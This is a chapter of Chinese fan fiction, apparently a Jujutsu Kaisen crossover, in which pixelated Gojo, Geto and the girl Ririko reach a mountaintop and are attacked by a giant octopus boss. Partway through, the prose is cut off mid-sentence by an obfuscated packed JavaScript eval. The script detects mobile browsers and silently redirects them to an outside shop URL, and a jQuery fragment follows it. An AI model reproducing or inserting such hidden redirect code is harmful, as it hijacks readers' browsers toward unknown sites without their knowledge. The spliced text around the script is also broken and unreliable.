经过这样那样的努力后,三个人终于攀登上了山顶。石台同山岩契合上的那一瞬间,那堵困住他们的空气墙也同步消失了。
梨梨子拖着沉重的像素小jio,缓步离开石台范围。刚一踏上山顶的地界,她便毫无顾忌的“啪叽”一声躺倒地,气若游丝道:“呃啊……我真的不行了。”
长时间的注意力高度集中,以及不间断的咒力输出,几乎要将她榨干了。
虽然她现在依然是一个像素小人,但这并不耽误她去感受手部肌肉的酸痛,也不耽误她去体会久站之后,腿部肌肉的僵硬与紧绷。
当然,体力和精神上的消耗都还在其次。最最最重要的,还是咒力的消耗。
在第二关这种游戏玩法的消耗下,现在她体内的咒力已经所剩不多了。但凡这座山再高个几十米,路上蓝色弹珠再多一点,她都不一定能撑的下来。
“这样就不行了吗?小兔子。”五条悟晃悠悠地走到她身侧蹲下,头顶的猫耳朵随着他的动作往一侧偏了偏,“接下来可是BOSS关卡,这次不打算跟我们同进退了?”
梨梨子不为所动:“你是魔鬼吧?好歹等我先恢复一点咒力啊……”
“嘛,想先在这里休整一下也不是不行。”夏油杰也走到她身边停下,只是大半注意力都放在了周围的环境上,“暂时……没有感觉到危险,而且没记错的话,第三关是‘沼泽’吧?”
“这里连棵草都没有,地面也很干,怎么看都不像是会有沼泽的样子。所以应该不是第三关的主战场,说不定是中场休息区?”
“但愿吧。”梨梨子仰面看着一左一右的DK们,莫名从两团没有任何细节可言的像素点里看到了“气定神闲”四个字。
“你们两个……真的还是人类吗?”
“哈?这是在骂人吗?”
“不,这是在夸你们啦……”
明明大家都经历了差不多的事情,为什么只有她累成这样,都快要维持不住“兔形”了。
可恶啊!她跟这两个人之间的差距,竟然真的有那么大吗?
不行!接下来还有一场硬仗要打,得快点想办法从这两个人身上薅一点诅咒过来才行。
但这两个人也实在是太难薅了。
她长这么大,还是头一次因为“吸收不到诅咒”而头疼的。
其实,能被她吸收的诅咒并不需要别人对她生起多么“深重”的情绪。更不需要对她恨之入骨,亦或是厌恶至极。
就只需要一点点的“不满”就行。
比如在街上走的时候不小心撞到了人,挤电车的时候不小心踩到了谁,又或是单纯在排队的时候抢先一步占到了更前一点的位置。
以上这些,都会促使别人对她产生一些负面情绪,这些情绪也就是可供她吸收的诅咒了。
但本质上,这些都不是出于对她这个人的厌恶,只是对上述这些事情表露出的一种寻常情绪罢了。
而且这种情况下得来的诅咒的苦味通常都非常淡,量也少得可怜。硬要比喻的话,大概类似蚊子腿?嘛,聊胜于无吧。
同理,相熟的人也是一样的。
比如今天晚饭的时候,真奈美就因为她又提出要帮事务所做任务的事,从而对她产生了一些负面情绪,提供了一点诅咒,但这绝对不是讨厌她了。
要知道,人心是非常复杂的。而情绪这种东西,又在复杂之中多了“不可控”的性质。
所以即便不想不愿,很多人还是会因为一时间的情绪上头而伤害到重要的人。
对亲密重要的人都尚且这样,所以说……这两个DK是不是有点不太对劲?
平心而论,如果是她在这种关乎性命时候,遇到了一个只会扯后腿的队友。就算本身并不讨厌那个人,同时也明白对方不是故意的,但她也一定会怨气冲天的。
结果这两个人除了在教她凝咒力球的时候,突然提供了两股有些莫名的诅咒之外,竟然全程都没再对她产生一丝一毫的怨气。
第一关她全程被他们带着飞,他们没有怨气。
第二关知道她不会凝咒力球,他们也没有怨气。白头发那个时候的连声质问比起气愤来说,反倒全是震惊和不敢置信的情绪。
还有之后,她在爬山过程中偶尔没跟上节奏,让他们帮忙兜了几次底,他们同样也没有怨气。
虽然不是故意的,但她都坑成这样了诶!就真的一点怨气也没有,一丝诅咒也不给。这跟下午比赛的时候,他们给她的“小心眼”第一印象完全就不符嘛!
竟然还有两幅面孔。
要说怨气的话,现在自己薅不到诅咒的怨气好像还要更大一些……
梨梨子暗自在心里腹诽着,那双豆豆眼不自觉滴溜溜转起来,在一左一右两个人身上打转,一看就知道是在打什么坏主意。
怎么兔兔祟祟的?
五条悟头也懒得转回来:“在打什么坏主意?”
梨梨子知道他在说自己,撇嘴:“……少污蔑人了,我只是在想办法恢复咒力而已。”
想到少女恢复咒力的特殊方式,夏油杰不动声色打探起来:“那这么看起来……好像很不顺利?”
“确实……不太顺利。”梨梨子郁闷。
她不知道的是,DK们之所以不会对她产生负面情绪。除了少年们骄傲,不会轻易迁怒于人之外,本质还是因为他们本身的强大。
不论她表现得有多差,不管她怎么给他们拖后腿,就算她只是个叉烧,甚至是咒灵的傀儡,他们也自信一定能赢下这场同一级咒灵之间的较量。
况且,他们两本就是以“拯救者”的身份和姿态出现在这里的。怎么可以因为对自己发出求援信号的弱者不够强,就对她产生不满的情绪呢?
就在梨梨子绞尽脑汁思考着怎么从两个DK身上薅点诅咒的时候,五条悟却突然站起身,望向另一端山崖的方向。
在之前的关卡里,就已经充分了解到了这位白发墨镜DK的视觉和感知能力都好的出奇,知道他一定是发现了什么不同寻常的地方。梨梨子顿时心头一紧,也不躺着了,挣扎着飞快从地上站起身。
“怎么了这么了?你看到了什么?”
像素小猫不答,只“哒哒哒”地自顾自往前跑一段。他站在山崖边,将小脑袋往外探了探,凝神关注着崖底的动静。
就这样过了一会儿,他冷不丁地兴奋起来:“杰!小兔子!山崖底下有个大家伙!”
梨梨子头皮一紧:“什么大家伙?”
“会是BOSS吗?”夏油杰头顶的狐狸耳警觉地抖了抖,正想要抬腿往那边走,情况突变。
“吼——!”
先是山崖深处陡然荡起一声低沉可怖的嘶吼,紧接着,“哗哗”的水声伴随着令人毛骨悚然的黏腻摩擦声一齐传来,整座山都开始剧烈震荡。
山顶像是被什么东西顶了一下,山顶往三人来时方向倾斜了一顺。像素小碎石纷纷滚来,辛苦升上来的石台也在难捱的嘎吱声中,与山体断开连接,直直坠回了他们来时的山脚。
“——!”梨梨子被这突然到来的震荡晃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967116|214305||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得整个人都站不稳,就在她要重新跌坐回地上的时候,身侧的夏油杰眼疾手快地拎着她的衣领往上拽了一把。
梨梨子站稳后忙道了声谢,紧接着,两人一同望向了山崖的方向。
视线刚落过去,巨大黢黑的长条像素团便自崖底冲天而起,那粗壮的触腕遮天蔽日,挡住了高处光源的同时,还将崖边的那抹白色衬托得犹如一只蚂蚁。
梨梨子仰头看着那条触腕,整个人在原地僵了一瞬,脑海中不期然浮现出几个画面。
“这个颜色,这个形状,这种滑溜溜又黏腻感觉……”她惊叫一声,“是那个!是把我拽进来的那个怪物!”
夏油杰:“把你拽进来的怪物?”
他和挚友进来完全靠地威逼利诱,根本没有经历过这一遭。这么看来,这只一级咒灵似乎生出了点意识,倒是挺会看人下菜的。
“对,我就是被这个东西拽进游戏世界里的!”梨梨子边回忆边解释,“那个废弃的店铺又没有灯,周围杂物也很多,我那个时候只能看到一团模糊的马赛……咳,像素点。”
“虽然因为我变成了像素小人,这个怪物现在看起来超大,不过我应该没有认错。”
五条悟虽然离得远了一点,但超强的五感,让他将两个人的对话内容听了去。他用手示意了一下崖底的方向,高声道:“怪物吗?但是下面那个,可是一只超级大的八爪鱼哦。”
“而现在在你面前的这根滑溜溜的东西,只是它的一根触腕而已。”
“诶?!”梨梨子闻言大惊失色,“这不是更恶心了嘛!?”
“吼——!”
似乎是在回应少女对它的“恶心”的评价,嘶吼声再次自崖底下传来。紧接着,那根探出山崖的粗壮触腕倏地往下抽了过来。
“——!!”梨梨子看着山崖边那个小小的白色身影,看着他被触腕的阴影完全笼罩的画面,心头猛一跳,喉咙深处不自觉溢出一声惊呼:“小心啊——!!!”
虽然知道挚友很强,不会被这种蹩脚的攻击击中,但亲眼看到这一幕,夏油杰的眼皮依旧猛地抽搐了一下:“悟!”
砰!
轰隆——!
巨响声在三人耳边轰然砸下,白色小猫便在此刻高高跃起。看着像是在险之又险地躲开了这道抽击之后,在山崖几个灵活点跳的功夫,便已经迅速靠近了位于后方的一黑一蓝两个像素小人。
好强!
梨梨子将五条悟灵活腾挪的动向看在眼里,内心忍不住惊叹着,同时又替他狠狠捏了一把汗:“……太乱来了吧?!”
夏油杰则是一像素巴掌拍在挚友的背上:“你这家伙,就算是耍帅也要看时机啊。”
五条悟不满:“喂喂喂,只是这种程度而已,我怎么可能——”
砰!砰砰砰!
完全不给三人更多的交流时间,那根滑腻的触腕再次抽了下来。
一下、两下、三下……触腕落下的力道极大,每一下都裹挟着肃啸的风声,它频繁且毫不间断的抽打山崖石壁,引地整座山震荡不止。
很快,三人脚底下就传来了“咔嚓咔嚓”断裂的声响。
山顶上的地面浮起了许多蜿蜒交错的裂纹,不稍片刻,那些细密的裂纹就又变得同手指一样粗壮,且还在不断地往四周增宽扩散。
更令人惊骇的事,那些裂纹还在往山体中心蔓延着,看起要是要将整座山从中间分成两半一样。
喀拉喀拉——
令人头皮发麻的声响不断,终于——像素山,裂开了。